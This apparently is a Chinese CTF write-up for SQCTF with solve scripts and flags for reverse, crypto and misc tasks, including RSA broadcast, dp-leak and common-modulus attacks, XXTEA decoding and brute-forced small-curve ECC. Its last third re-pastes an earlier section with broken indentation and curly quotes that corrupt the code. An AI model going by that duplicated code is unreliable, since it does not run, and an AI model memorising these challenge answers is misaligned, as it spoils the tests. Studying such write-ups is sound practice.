# 提取加密后的字节数组(注意小端序转换)
encrypted_bytes = [
    0x0D,0x0b,0xfd,0x08,0xfa,0x15,0xf7,0xfb,
    0x0d,0x13,0x31,0x14,0x01,0x0e,0x0f
][:15]  # 总长度15字节

# 逆向算法:(encrypted_byte - 55) ^ 0xA5
flag = []
for eb in encrypted_bytes:
    # 逆向运算
    original = (eb - 55) ^ 0xA5
    #小于0的话要取补码
    if original<0:
        complement = ~abs(original)
        # 加1得到最终的补码
        original = (complement + 1) & ((1 << 8) - 1)
    print(original)
    flag.append(chr(original))

# 拼接flag
print("解密后的flag:", ''.join(flag))

唧唧复唧唧,木兰当户织

用exeinfope查看文件发现是64为程序,并且有upx壳

upx解壳

F:\tools\upx-3.96-win64>upx -d C:\Users\saulgoodman\Desktop\main.exe

然后丢进ida中查看,发现有base64编码的东西

U1FDVEZ7eGl4aWJ1eGl4ae+8jG11bGFuZGFuZ2h1emhpfQ==

解码后为flag

SQCTF{xixibuxixi,mulandanghuzhi}

击败abyssun

先运行程序,然后把程序丢进ce中,然后按空格开始游戏,等游戏结束后查看内存信息,搜索sqctf拿到flag

SQCTF{Defeat_abyssun}

不劳春风解我忧

咋也不知道为什么,反正ctfshow上有相识的题直接用

#include <stdbool.h>
#include <stdio.h>
#define MX \
  ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))
bool btea(unsigned int* v, int n, unsigned int* k) {
    unsigned int z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9;
    unsigned int p, q;
    if (n > 1) { /* Coding Part */
        q = 6 + 52 / n;
        while (q-- > 0) {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
                y = v[p + 1], z = v[p] += MX;
            y = v[0];
            z = v[n - 1] += MX;
        }
        return 0;
    }
    else if (n < -1) { /* Decoding Part */
        n = -n;
        q = 6 + 52 / n;
        sum = q * DELTA;
        while (sum != 0) {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
                z = v[p - 1], y = v[p] -= MX;
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        return 0;
    }
    return 1;
}

int main(int argc, char const* argv[]) {
    // test
    unsigned int v[2] = { 0x8F748963, 0xCB1D96A8 }, key[4] = { 0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x87654321 };
    //printf("%u,%u\n", v[0], v[1]);
    //btea(v, 2, key);
    //printf("%u,%u\n", v[0], v[1]);
    btea(v, -2, key);
    char* p = (char*)v;
    for (int i = 0; i < 8; i++) {
        printf("%c", *p);
        p++;
    }
    //printf("%u,%u\n", v[0], v[1]);
    return 0;
}

//tyandctf

天下谁人不识君

s = 'wesyvbniazxchjko1973652048@$+-&*<>'
encrypted = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'

flag = []
for i in range(len(encrypted) // 2):
    # 获取当前两个字符
    c1 = encrypted[2 * i]
    c2 = encrypted[2 * i + 1]

    # 计算s1和s2
    idx_c1 = s.index(c1)
    s1 = (idx_c1 - i) % 34

    idx_c2 = s.index(c2)
    s2 = (-idx_c2 - i - 1) % 34

    # 还原原始字符的ASCII码并转换
    char_code = s1 * 17 + s2
    flag_char = chr(char_code)
    flag.append(flag_char)

print(''.join(flag))

SQCTF{libai_jianxian}

CRY

base?

kR53l4pXoztyd3wSe3kJc3dBpyQQpj8Qbm8Odm8Jcz4OpC5zcClzcCgPvg==

base64解码

字符集是 0-9a-zA-Z+/=

SQCTF{b7b48685-03ef-4e24-b25b-212fac2ec2d3}

别阴阳我了行吗?

阴阳怪气解码 https://std.ac/yygq.js/

SQCTF{xm!tql!xm!}

简单RSA

from Crypto.Util.number import *
import gmpy2


e = 65537
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

春风得意马蹄疾

  1. 核心价值观解密

SQCTF{E2jacnicamcm_cnanamw_kwkma}

ezCRT

低指数加密广播攻击(e很小;多组n,c)

这里猜e=3,别问问就是猜的

适用情况:很多组不同的n和c,但用的是同一个e且很小。

此时我们可以使用中国剩余定理来求出m,什么是中国剩余定理自己去了解:https://www.di-mgt.com.au/crt_rsa.html

from Crypto.Util.number import *
import gmpy2
from sympy.ntheory.modular import crt
import libnum

n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093
c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

e = 3
n = [n1,n2,n3]
c = [c1,c2,c3]
resultant, mod = crt(n, c)
value, is_perfect = gmpy2.iroot(resultant, e)
print(long_to_bytes(value))

密室逃脱的终极挑战

拖入ida查看字符串就可以看到flag

SQCTF{F4BBAC33-8D80-A886-5238-EA35B38B353A}

丢三落四的小I

from Crypto.Util.number import *
import gmpy2


n= 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e= 65537
dp= 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c= 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

for i in range(1, e + 1):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // p
            phi = (p - 1) * (q - 1)
            d = gmpy2.invert(e, phi)
            m = pow(c, d, n)
            print(long_to_bytes(m))



字母的轮舞与维吉尼亚的交响曲

N ehuzrhz tq tnjde ctcdy fraos qrur "Znk Mfnjwpd Ejlry tq Suqttaip." Lusplespsy nd a izcsk tq cxjltoty tu yse mwzuv, fyd ytwizzoe ox ehk tyle tftrje fuw wotjwitjds.Vjchgud iz bls gy ehox aoose tnfe I lnyarqj utipryyzoj Hzluspl Hzpnjíf lnj Ozsé Gwnajnz.Oaw sosjeocs meitxey f alghp wk qzvk szt hjnaaxp iz nd oaw sosjeocs, muz gpcgzde cj mernpvk ne tu gp oaw sosjeocs. Sosj ts axpd gx l prfne zt ceyy l dxnqtosr suzw, ati ehgy ts cmj iz xxerqd ol ipcgd lnj ipazm, wiqj hizmprki wegaps gso dkxprzjo ykqwoc xzir. Yz rkyfrt mzmk nd tu gcegp ehk hznijat uk "xe" hfnk oseo "ax," eo hj tnzjrrgypd oseo yznh g mfgk bsorj ehgy dlubwy hjnosjd itatsogwe, Sfnotiz, tnj Nizd zf Sncruwd.“Ot f hitypr tnrhz, yse ytfp vte wgx mooqtnm ty tnj dtuap, bay se sndski ehk xheryprosr hkfe it yse hfnk nfwl uk ehk gzoqxeoxj. Ehk mfm uk ehk xfn'y wlyy ty tnj ouyyj arrznj ycekx, ehk klity dixjys uk ehk rtdjfj mkfw, ay mp hgi tn Sfnotiz ykfcnki qox yse ytfp us ehk xeobj tn cnytkw, ehk hllr tq tnj nolkpe-vjodrjc, ati ehk xhily qlolst uk ehk qlrqx tn yucitl. GTLBT{bxc_oun_ewq!}"Xnkhgt," se yftd, zzcnosr tu Rlcusoo. Zmp tct eyvjd ol szszfwgof hexj wiqj xixwzry tapuxttk, fyd nj hay xeuip tn hjewkjy, cusquyjo, utfmlk yz mgnytgny a yzmlorp txfysijydksne.”

先维吉尼亚密码解密,密钥是flag,解密后是

I thought of these words again from "One Hundred Years of Solitude." Lonelyness is a curse of creation to the group, and solitude is the only outlet for loneliness.Perhaps it was at this point that I finally understood Colonel Buendía and José Arcadio.Our hometown becomes a place we love not because it is our hometown, but because we believe it to be our hometown. Home is used as a place to rest a drifting soul, and that is why it smells of decay and death, like withered leaves and deserted yellow soil. To return home is to break the concept of "me" back into "us," to be integrated into such a huge whole that slowly becomes invisible, Macondo, the City of Mirrors.“On a winter night, the soup pot was boiling on the stove, but he missed the sweltering heat in the back hall of the bookstore. The hum of the sun's rays on the dusty almond trees, the faint sirens of the midday meal, as he had in Macondo yearned for the soup on the stove in winter, the call of the coffee-peddler, and the swift flight of the larks in spring. VTFWI{brx_duh_zlq!}"Rizhao," he said, turning to Macondo. The two types of nostalgia were like mirrors opposite, and he was stuck in between, confused, unable to maintain a sublime transcendence.”

注意到:VTFWI{brx_duh_zlq!}

利用 凯撒Caesar解码 轮数是3

解密后是:

SQCTF{you_are_win!}

玩的挺变态啊清茶哥

猪圈密码,对照猪圈密码表解得flag

https://www.metools.info/code/c90.html

SQCTF{jijibaotonghualizuoyingxiong}

你的天赋是什么

摩斯密码解码

… --.- -.-. - …-. ----.-- -.-- — …- -…- … .- …- . -…- - .- .-… . -. - -----.-

SQCTF{YOU-HAVE-TALENT}

Common Modulus

共模攻击

场景介绍

识别:若干次加密,e不同,n相同,m相同。就可以在不分解n和求d的前提下,解出明文m。

import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m

n= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1= 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2= 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1= 4217054819
e2= 2800068527

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
   s1 = - s1
   c1 = modinv(c1, n)
elif s2<0:
   s2 = - s2
   c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print(m)
print (binascii.unhexlify(hex(m)[2:].strip("L")))




《1789年的密文》

杰斐逊轮转加密

这里把文件路径换成你的文件路径

import re
text=""
with open("C:\\Users\\saulgoodman\\Desktop\\enc.txt","r",encoding="utf-8") as f:	#这里把文件路径换成你的文件路径,我的文件名改成了enc.txt
    text=f.read()
#print (text) 查看是否读取完整
code=[]#将字符提取出来放在这里
code=re.findall(r"<(.*)<",text)
for i in range(len(code)):
    code[i]=code[i].strip()
print(code)
codetext="UNEHJPBIUOMAVZ"	#密文
codenum="4,2,11,8,9,12,3,6,10,14,1,5,7,13"	#key
codenum=codenum.split(",")#把这些数字都弄到一个里面去
#print(codenum)
a=0
print("解密后的:")
for i in codenum:
    index=code[int(i)-1].index(codetext[a])
    a=a+1
    code[int(i)-1]=code[int(i)-1][index:]+code[int(i)-1][:index]
    print(code[int(i)-1])

#完成了变形了

print("下面是每一列的")
for i in range(len(code[0])):
      str=""
      print("第{}列的是:".format(i),end="")
      for j in codenum:
          str+=code[int(j)-1][i]
      print(str.lower())

运行后第16行是flag:maketysecgreat

SQCTF{maketysecgreat}

失落矿洞中的密码

我们已知椭圆曲线方程以及对应的生成元 base,还知道相应的模数以及公钥以及加密后的结果。

但是可以看出的我们的模数太小,我们暴力枚举获取结果。

这里直接参考 github 上的 sage 程序,暴力跑出 secret key。之后便可以解密了。

a = 1234577
b = 3213242
n = 7654319

E = EllipticCurve(GF(n), [0, 0, 0, a, b])

base = E([5234568, 2287747])
pub = E([2366653, 1424308])

c1 = E([5081741, 6744615])
c2 = E([610619, 6218])

X = base

for i in range(1, n):
    if X == pub:
        secret = i
        print "[+] secret:", i
        break
    else:
        X = X + base
        print i

m = c2 - (c1 * secret)

print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]

暴力跑出结果

[+] secret: 1584718
[+] x: 2171002
[+] y: 3549912
[+] x+y: 5720914

MISC

Welcome_Sign_in

在公众号回复就能拿flag

ez_music1

转频谱图就出来了

SQCTF{Rush_B}

花非花,雾非雾_0

flag1

听声音像是摩斯密码。尝试用Audacity打开,通过观察波形与声音应该是摩斯电码。

--... -... -.... -.... --... ..... ...--

....- ...-- ..--- ...-- ----. ..--- -..

{fu429-

flag2

Stegsolve查看red blue green三通道最低二进制位的方法,把这三个通道都改成0,然后翻到最上面能看到flag2

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag3

love.host

foremost ./test.jpg 分离后有关zip文件解压后能拿到flag

piet

我们对得到图片进行piet解密

https://www.bertnase.de/npiet/npiet-execute.php

上传图片解密就是flag

来放在这里
code=re.findall(r"<(.*)<“,text)
for i in range(len(code)):
code[i]=code[i].strip()
print(code)
codetext=“UNEHJPBIUOMAVZ” #密文
codenum=“4,2,11,8,9,12,3,6,10,14,1,5,7,13” #key
codenum=codenum.split(”,")#把这些数字都弄到一个里面去
#print(codenum)
a=0
print(“解密后的:”)
for i in codenum:
index=code[int(i)-1].index(codetext[a])
a=a+1
code[int(i)-1]=code[int(i)-1][index:]+code[int(i)-1][:index]
print(code[int(i)-1])

#完成了变形了

print(“下面是每一列的”)
for i in range(len(code[0])):
str=“”
print(“第{}列的是:”.format(i),end=“”)
for j in codenum:
str+=code[int(j)-1][i]
print(str.lower())




运行后第16行是flag:maketysecgreat

SQCTF{maketysecgreat}



### 失落矿洞中的密码



我们已知椭圆曲线方程以及对应的生成元 base,还知道相应的模数以及公钥以及加密后的结果。

但是可以看出的我们的模数太小,我们暴力枚举获取结果。

这里直接参考 github 上的 sage 程序,暴力跑出 secret key。之后便可以解密了。

```python
a = 1234577
b = 3213242
n = 7654319

E = EllipticCurve(GF(n), [0, 0, 0, a, b])

base = E([5234568, 2287747])
pub = E([2366653, 1424308])

c1 = E([5081741, 6744615])
c2 = E([610619, 6218])

X = base

for i in range(1, n):
    if X == pub:
        secret = i
        print "[+] secret:", i
        break
    else:
        X = X + base
        print i

m = c2 - (c1 * secret)

print "[+] x:", m[0]
print "[+] y:", m[1]
print "[+] x+y:", m[0] + m[1]

暴力跑出结果

[+] secret: 1584718
[+] x: 2171002
[+] y: 3549912
[+] x+y: 5720914

MISC

Welcome_Sign_in

在公众号回复就能拿flag

ez_music1

转频谱图就出来了

SQCTF{Rush_B}

花非花,雾非雾_0

flag1

听声音像是摩斯密码。尝试用Audacity打开,通过观察波形与声音应该是摩斯电码。

--... -... -.... -.... --... ..... ...--

....- ...-- ..--- ...-- ----. ..--- -..

{fu429-

flag2

Stegsolve查看red blue green三通道最低二进制位的方法,把这三个通道都改成0,然后翻到最上面能看到flag2

[外链图片转存中…(img-CJwKJASl-1744594155985)]

flag3

love.host

foremost ./test.jpg 分离后有关zip文件解压后能拿到flag

piet

我们对得到图片进行piet解密

https://www.bertnase.de/npiet/npiet-execute.php

上传图片解密就是flag

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值